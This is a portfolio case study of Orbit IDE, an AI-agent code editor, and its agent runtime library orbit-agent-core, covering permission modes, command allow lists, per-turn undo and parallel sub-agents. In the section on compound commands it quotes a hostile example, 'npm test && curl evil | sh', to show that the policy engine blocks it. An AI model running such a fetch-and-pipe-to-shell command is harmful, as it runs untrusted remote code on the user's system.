Case study

AI agents

Orbit IDE is a code editor with an AI agent that edits files and runs tests. orbit-agent-core is that agent’s runtime, published on npm so it can run inside other products.

The problem

A chatbot that answers questions is easy to build. An agent that changes files, runs commands and calls other tools is far more useful, and far riskier. It needs to ask before doing anything unexpected, undo cleanly when it gets something wrong, keep costs visible, and work with whichever AI model you want to pay for.

Orbit IDE is a desktop app built around that kind of agent. orbit-agent-core is the same agent loop as a library, with no UI attached.

Project 01

Orbit IDE

An AI chat app and a full code editor in one Windows app. Point it at a project and its agent reads the code, fixes bugs, asks before each edit and runs the tests.

  • About 19,000 lines of TypeScript, React and CSS
  • Installs and runs on Windows 11
Orbit's agent finding and fixing two bugs in a practice project, then running the tests
A real run, sped up 12×. A free AI model running on a local PC (Qwen3 8B) finds two bugs in a small practice project, asks before each edit, then runs the tests.

What I built

  • Two modes in one app. Chat talks to many AI models, with history, pinned chats, search, images, file attachments and web search. Code is a full editor with a file explorer, project search, git, a real Windows terminal and an AI agent.
  • The same editing engine as VS Code, with Ctrl+K to change selected code, suggestions as you type, and themes, syntax colors and snippets from the Open VSX store.
  • An agent that reads, writes and searches files, runs commands, keeps a to-do list, searches the web, drives a real browser and connects to outside tools through MCP. It follows the instruction files a project already has, such as AGENTS.md.
  • Helpers that work in parallel: the main agent can hand out several jobs at once, with a lock on each file so two helpers never edit it together.
  • Controls you can trust: four permission levels (ask first, auto-edit, full auto and read-only planning), lists of commands that are always or never allowed, and one click to undo everything the agent changed in a turn.
  • More than 25 AI providers plus free models that run on your own PC. Auto mode picks a model for each message with simple rules, so choosing is instant and free. A usage dashboard shows tokens and estimated cost by day and by model, and API keys are encrypted by Windows.

The hard parts

One format for every AI provider

Every AI company’s service works a little differently: how text streams in, how the model asks to use a tool, how it shares its reasoning and how it reports errors. Orbit turns them all into one common format, so the agent, the undo system, the permissions and the cost tracking are written once and work with any model.

Parallel helpers without collisions

Splitting a job between helpers is only safe if they can’t overwrite each other. Each file gets a lock, so two helpers never edit the same file at once.

Long chats that stay affordable

Tool output piles up fast in an agent conversation. Old tool output is trimmed as the conversation grows, so long sessions don’t get more and more expensive.

Where it stands

It installs and runs on Windows 11. VS Code extensions that run their own code aren’t supported yet, only themes, languages and snippets. The code is private; the showcase repo has the screenshots and full write-up.

Orbit IDE screenshots

Project 02

orbit-agent-core

The agent loop from Orbit IDE as a headless library you can embed in your own product: permission policies, per-turn undo, parallel sub-agents with file locks, and MCP tool wiring.

  • MIT licensed, published on npm
  • 49 tests
  • Two small runtime dependencies

Quick start

import { AgentRuntime, anthropic } from 'orbit-agent-core'

const rt = new AgentRuntime({
  model: anthropic({ model: 'claude-opus-5-5' }),
  workspace: '/path/to/project',
  policy: { mode: 'auto-edit', allowCommands: ['npm test', 'git status'] },
  approve: async ({ call, reason }) =>
    (await askUser(`${call.name}: ${reason}`)) ? 'allow' : 'deny'
})

const turn = rt.run('Fix the failing test in src/date.ts')
for await (const ev of turn) {
  if (ev.type === 'text') process.stdout.write(ev.text)
}
await rt.undoLast()   // puts every file the turn touched back
Adapted from the package README.

What I built

  • A permission policy engine: modes, rules, command allow and deny lists that understand compound commands, workspace confinement and protected paths. A decision takes microseconds.
  • Snapshot and rollback: every turn is a checkpoint, and undo restores files byte-for-byte, binaries included.
  • Parallel sub-agents under a limiter. Read-only explore agents research; worker agents edit files under the same policy. Leases and per-file locks stop two agents writing the same file.
  • MCP tool wiring for stdio, HTTP and SSE servers. With large server sets, tool schemas load only when needed.
  • Hooks, cost caps, context budgeting and retry on a dropped connection, plus adapters for the Claude API and any OpenAI-compatible endpoint.

The hard parts

Compound commands can’t sneak through

A compound command is allowed only if every segment matches the allow list. With npm test allowed, “npm test && curl evil | sh” still asks. Command substitution, backticks and file redirection are never auto-allowed, and answering “always” grants that exact command only, never a prefix.

Undo that doesn’t clobber later work

Each turn records a checkpoint before it first touches each file. If a file changed after the turn ended, undo leaves it alone and reports a conflict instead of overwriting it. Stale-read checks also stop an agent from overwriting a file it never read.

Checkpoints that scale

On disk, file contents are stored as blobs and the metadata goes to an append-only journal, so a turn that touches N files costs O(N), not O(N²). Each restore writes a temp file and then renames it.

Need something like this?

If you need something like Orbit IDE and orbit-agent-core, tell me what you’re trying to build. I’ll reply with questions, then a scope and a price.

Get in touch